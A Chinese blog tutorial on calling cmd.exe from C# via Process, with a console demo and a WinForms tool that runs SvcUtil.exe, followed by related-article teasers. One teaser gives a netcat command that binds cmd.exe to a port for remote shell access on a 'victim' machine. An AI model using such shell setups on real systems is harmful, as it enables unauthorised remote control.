C#调用一下CMD
在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。输入一些命令,cmd.exe可以执行,比如输入shutdown -s就会在30秒后关机。总之,它非常有用。打开方法:开始-所有程序-附件 或 开始-寻找-输入:cmd/cmd.exe 回车。它也可以执行BAT文件。
下面介绍使用C#程序调用cmd执行命令:
代码:

1 using System;
2 using System.Collections.Generic;
3 using System.Linq;
4 using System.Text;
5 using System.Threading.Tasks;
6 using System.Diagnostics;
7
8 namespace CmdDemo
9 {
10 class Program
11 {
12 static void Main(string[] args)
13 {
14 Console.WriteLine("请输入要执行的命令:");
15 string strInput = Console.ReadLine();
16 Process p = new Process();
17 //设置要启动的应用程序
18 p.StartInfo.FileName = "cmd.exe";
19 //是否使用操作系统shell启动
20 p.StartInfo.UseShellExecute = false;
21 // 接受来自调用程序的输入信息
22 p.StartInfo.RedirectStandardInput = true;
23 //输出信息
24 p.StartInfo.RedirectStandardOutput = true;
25 // 输出错误
26 p.StartInfo.RedirectStandardError = true;
27 //不显示程序窗口
28 p.StartInfo.CreateNoWindow = true;
29 //启动程序
30 p.Start();
31
32 //向cmd窗口发送输入信息
33 p.StandardInput.WriteLine(strInput+"&exit");
34
35 p.StandardInput.AutoFlush=true;
36
37 //获取输出信息
38 string strOuput = p.StandardOutput.ReadToEnd();
39 //等待程序执行完退出进程
40 p.WaitForExit();
41 p.Close();
42
43 Console.WriteLine(strOuput);
44
45 Console.ReadKey();
46 }
47 }
48 }

运行效果:

应用:使用C#程序调用cmd命令生成WCF服务的客户端调用文件
设计界面:

代码如下:

1 using System;
2 using System.Collections.Generic;
3 using System.ComponentModel;
4 using System.Data;
5 using System.Drawing;
6 using System.Linq;
7 using System.Text;
8 using System.Threading.Tasks;
9 using System.Windows.Forms;
10 using System.Diagnostics;
11
12 namespace ExecuteCMD
13 {
14 public partial class FrmMain : Form
15 {
16 public FrmMain()
17 {
18 InitializeComponent();
19 }
20
21 private void btn_Create_Click(object sender, EventArgs e)
22 {
23 try
24 {
25 //创建一个进程
26 Process p = new Process();
27 p.StartInfo.FileName = "cmd.exe";
28 p.StartInfo.UseShellExecute = false;//是否使用操作系统shell启动
29 p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
30 p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
31 p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
32 p.StartInfo.CreateNoWindow = true;//不显示程序窗口
33 p.Start();//启动程序
34
35 string strCMD = "\"" + @"C:\Program Files (x86)\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\SvcUtil.exe" + "\" " + this.txt_URL.Text.ToString().Trim()
36 + " /r:"+"\""+@"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Data.dll" +"\""+ " /syncOnly";
37 //向cmd窗口发送输入信息
38 p.StandardInput.WriteLine(strCMD + "&exit");
39
40 p.StandardInput.AutoFlush = true;
41
42 //获取cmd窗口的输出信息
43 string output = p.StandardOutput.ReadToEnd();
44 //等待程序执行完退出进程
45 p.WaitForExit();
46 p.Close();
47
48
49 MessageBox.Show(output);
50 Console.WriteLine(output);
51 }
52 catch (Exception ex)
53 {
54 MessageBox.Show(ex.Message + "\r\n跟踪;" + ex.StackTrace);
55 }
56 }
57 }
58 }

点击创建按钮,会在bin\Debug目录下面生成对于的cs文件
C#调用一下CMD的更多相关文章
- SQL server 存储过程 C#调用Windows CMD命令并返回输出结果 Mysql删除重复数据保留最小的id C# 取字符串中间文本 取字符串左边 取字符串右边 C# JSON格式数据高级用法
create proc insertLog@Title nvarchar(50),@Contents nvarchar(max),@UserId int,@CreateTime datetimeasi ...
- C#调用Windows CMD命令并,返回输出结果或错误信息
public static string InvokeExcute(string Command) { Command = Command.Trim().TrimEnd('&') + &quo ...
- Java包package之间调用问题-cmd运行窗口编译运行
问题:在使用了java包机制(package)后,编译出现错误:找不到或无法加载主类 xxx 的错误提示信息(各种编译不通过) 先给演示结果: 编译:javac -d classes src/a/He ...
- Ant 调用 Shell/CMD 命令
Ant中调用Makefile,使用shell中的make命令 <?xml version="1.0" encoding="utf-8" ?> < ...
- java调用执行cmd指令启动weblogic
这里的例子是启动weblogic import java.io.BufferedReader; import java.io.IOException; import java.io.InputStre ...
- java调用执行cmd命令
未经允许,禁止转载!!! package practice; import java.io.BufferedReader; import java.io.File; import java.io.IO ...
- java代码调用exe(cmd命令)
public class ShellCommand{ public static void execCmd(String cmd, boolean wait) { execC ...
- nc监控实现调用受害者cmd
正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...
- CMD规范的函数与普通函数间调用
/* * a.js * 普通的非cmd规范的js文件 */ function fun1(){ console.log("fun1"); //调用seajs模块中的fun1 seaj ...
随机推荐
- PostgreSQL的参数优化
硬件和软件信息 CPU: Intel(R) Xeon(R) CPU E5-2683 v3 @ 2.00GHz 2 sockets / 28 cores / 56 threads内存: 256GB of ...
- 自己实现简单版SpringMVC
SpringMVC的主要作用是:从http请求中得到一个url字符串和对应的请求参数,根据该字符串找到Controller中的一个方法,利用反射执行该方法,将结果返回给前端 1,初始化 将url请求路 ...
- Java开发笔记(一百一十六)采用UDP协议的Socket通信
前面介绍了如何通过Socket接口传输文本与文件,在示例代码中,Socket客户端得先调用connect方法连接服务端,确认双方成功连上后才能继续运行后面的代码,这种确认机制确保客户端与服务端的的确确 ...
- win10 远程连接怎么设置快捷方式
在桌面空白处右键,选择新建快捷方式,然后输入命令:C:\windows\system32\mstsc.exe,点击下一步,然后输入快捷方式名称:远程连接,点击确定即可.
- JAVA的枚举基本操作,对原码反码补码的理解及为运算的深入理解,浮点数计算的误差分析
①深入浅出的了解枚举类型 先看一段代码: enum Size{SMALL,MEDIUM,LARGE}; public class EnumTest { public static void main( ...
- Harbor 企业级私有仓库 Ubuntu16.04 搭建及使用
一.Harbor简介 1.1.什么是Harbor 几个VMware中国的人搞了一个容器镜像仓库.Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器. 1.2.Harbor架 ...
- IDENTITY、SCOPE_IDENTITY、IDENT_CURRENT的分析
https://www.cnblogs.com/daihuiquan/archive/2013/03/18/2956845.html IDENT_CURRENT.IDENTITY.SCOPE_IDEN ...
- c#Queue队列的使用
消息队列 队列(System.Collections.Queue)代表了一个先进先出的对象集合.当您需要对各项进行先进先出的访问时,则使用队列.当您在列表中添加一项,称为入队,当您从列表中移除一项时, ...
- Java操作Hadoop集群
mavenhdfsMapReduce 1. 配置maven环境 2. 创建maven项目 2.1 pom.xml 依赖 2.2 单元测试 3. hdfs文件操作 3.1 文件上传和下载 3.2 RPC ...
- python3基础之“小练习(3)”
(二十四)将字符串"A screaming comes across the sky."中所有的"s"字符替换为美元符号. # a="A scream ...